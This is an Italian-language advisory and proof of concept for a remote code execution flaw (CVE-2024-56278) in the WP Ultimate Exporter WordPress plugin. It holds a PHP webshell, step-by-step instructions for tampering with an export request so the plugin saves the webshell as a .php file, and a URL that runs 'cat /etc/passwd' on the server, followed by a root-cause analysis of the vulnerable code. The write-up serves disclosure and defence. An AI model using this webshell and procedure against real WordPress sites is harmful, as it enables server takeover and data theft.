
Proof-of-concept exploit per CVE-2024-56278, una vulnerabilità di esecuzione remota di codice nel plugin WordPress WP Ultimate Exporter, che dimostra il caricamento di file verso una webshell PHP.
Plugin WordPress
Nome del componente WP Ultimate Exporter
Versione vulnerabile <= 2.9.1
Slug del componente wp-ultimate-exporter
Link del componente https://wordpress.org/plugins/wp-ultimate-exporter/
Classe di vulnerabilità A4: Progettazione non sicura
Tipo di vulnerabilità Remote Code Execution (RCE)
Amministratore
Il plugin WP Ultimate Exporter è un componente aggiuntivo per il plugin WP Ultimate CSV Importer. Questo plugin consente di esportare tutti i post, i prodotti, gli ordini, i rimborsi e i dati utente in formato CSV, XLS, XML e JSON. Durante l'esportazione, i file vengono creati nel percorso di upload e il plugin fornisce agli utenti solo il contenuto di tali file.
Nelle versioni 2.9.1 e precedenti del plugin WP Ultimate Exporter, quando si richiede l'esportazione dei dati, se l'estensione del file nei dati della richiesta viene impostata su PHP, viene creato un file PHP nel percorso di upload. Pertanto, se il contenuto del file creato contiene sintassi PHP, si verifica una vulnerabilità di Remote Code Execution (RCE) poiché la sintassi PHP viene eseguita quando si accede a quel file.
⚠️ Poiché il plugin 'WP Ultimate Exporter' è un componente aggiuntivo per il plugin 'WP Ultimate CSV Importer', entrambi i plugin devono essere installati.
Creare un nuovo post utilizzando l'editor di codice (scorciatoia da tastiera: ⇧ ⌥ ⌘ M) con il seguente contenuto:
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
Navigare alla scheda 'Export' del plugin WP Ultimate Exporter. È possibile accedervi facendo clic sulla scheda 'Export' nella dashboard del plugin WP Ultimate CSV Importer (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).
Avviare uno strumento proxy (ad es. BurpSuite) per intercettare i pacchetti di richiesta e procedere con i seguenti passaggi con Intercept abilitato.
Successivamente, selezionare 'Posts' da 'Select the module to Export Data' e procedere al passaggio successivo.

Export File Name Inserire 'webshell'Advanced Settings Selezionare 'CSV'
/wp-admin/admin-ajax.php per esportare i dati. Modificare il valore exp_type nei dati della richiesta da csv a php, quindi fare clic su Forward.
/wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd nella barra degli indirizzi del browser per visualizzare il contenuto del file /etc/passwd sul server in cui è installato WordPress. Questo dimostra la vulnerabilità RCE.
Quando si esportano i dati nel plugin WP Ultimate Exporter, viene chiamata la funzione parseData nel file /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php.
A questo punto, non viene eseguito alcun filtro sul dato della richiesta exp_type che determina il formato dei dati di esportazione e il valore viene inserito direttamente nella variabile membro $this->exportType.

Successivamente, viene chiamata la funzione proceedExport per salvare i dati in un file. A questo punto, quando si inizializza la variabile $file che specifica il percorso di archiviazione del file, viene utilizzata anche la variabile membro $this->exportType senza alcun filtro.

Successivamente, il percorso del file memorizzato nella variabile $file viene passato come argomento alla funzione file_put_contents e, a questo punto, il file viene salvato con l'estensione specificata nel dato della richiesta exp_type applicata direttamente.

Pertanto, quando i dati del post contenenti codice Web Shell vengono salvati come file PHP e si accede a quel file, si verifica una vulnerabilità di Remote Code Execution (RCE) poiché il codice PHP viene eseguito.


Quindi inserire il seguente comando per eseguire il codice PoC.
Modulo richiestorequests
python poc.py
